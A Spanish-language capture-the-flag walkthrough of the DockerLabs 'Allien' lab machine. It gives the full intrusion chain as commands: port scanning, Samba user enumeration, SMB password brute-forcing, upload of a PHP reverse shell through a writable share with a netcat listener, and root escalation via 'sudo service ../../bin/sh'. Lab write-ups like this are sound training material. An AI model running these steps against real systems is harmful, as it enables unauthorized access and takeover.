Allien - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | Luisillo_o |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)139(NetBIOS)445(SMB)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 22,80,139,445 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder a la página web, observamos un panel de login.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-
-xPara indicar que tipo de extension queremos que nos encuentre
Exploramos el directorio productos.php, pero no encontramos nada particularmente interesante.
Enumeracion de usuario Samba.
Los puertos 445 y 139 están abiertos, lo que indica que hay un servicio Samba en funcionamiento. Procedemos a enumerar usuarios.
enum4linux -a 172.17.0.2
Este comando nos proporciona información sobre varios usuarios y carpetas compartidas en el servicio Samba.
Fuerza bruta
Dado que hemos identificado varios usuarios, procederemos a realizar un ataque de fuerza bruta sobre ellos.
crackmapexec smb 172.17.0.2 -u usuarios.txt -p /usr/share/wordlists/rockyou.txt
En la salida, podemos observar que el usuario satriani7 tiene la contraseña 50cent.
Usuario satriani7
Ahora, utilizaremos la siguiente herramienta para enumerar los recursos compartidos del usuario satriani7 con la contraseña 50cent.
smbmap -u satriani7 -p 50cent -H 172.17.0.2
Ahora vamos a ver qué contienen esos directorios. Entramos en las carpetas compartidas con el siguiente comando:
smbclient //172.17.0.2/ -U 'satriani7'
En myshare, encontramos un archivo llamado access.txt. Para descargar archivos, utilizamos el comando get:
get access.txt
En backup24 encontramos un archivo llamado credencial.txt y notes.txt.
Descargamos estos archivos a nuestro equipo:
get credenciales.txt
get notes.txt
Contenido de los archivos de texto
Vamos a ver qué contienen los archivos de texto que hemos descargado.
Al observar el archivo credenciales.txt, contiene la contraseña de varios usuarios, incluyendo la del administrador.
Ahora volveremos a usar smbmap para enumerar los recursos compartidos del usuario administrador con la contraseña Adm1nP4ss2024.
smbmap -u 'administrador' -p 'Adm1nP4ss2024' -H 172.17.0.2
Observamos que la carpeta home tenemos permisos de escritura.
Vamos a acceder para ver qué contiene.
smbclient //172.17.0.2/home -U 'administrador'
Podemos ver que es la ruta donde se encuentran todos los archivos de la página web, por tanto podemos importar una reverse shell.
Intrusión en la Máquina
Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:
Reverseshell de Pentest Monkey
Pasos para Cargar la Reverseshell
- Preparar la Reverseshell: Creamos un archivo de reverseshell en nuestro sistema local utilizando el código disponible en la ruta mencionada anteriormente.
- Subir el Archivo: Utilizamos el comando de
putpara subir el archivo al directorio. - Ejecutar la Reverseshell: Una vez que el archivo esté en el servidor, lo ejecutaremos para establecer la conexión.
Nos ponemos a escuchar por netcat en mi caso por el 4444
nc -lvnp 4444
Luego, accedemos a la ruta de la página web donde hemos cargado la reverseshell:
Y ya tendriamos acceso a la maquina.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Escalada de privilegios
Ya estamos dentro de la máquina. Si ejecutamos el comando sudo -l, vemos que podemos ejecutar service como root. Para ello, debemos hacer lo siguiente:
Para generar una shell como usuario root con el comando service, lo hacemos de la siguiente manera:
sudo service ../../bin/sh
Y ya seriamos root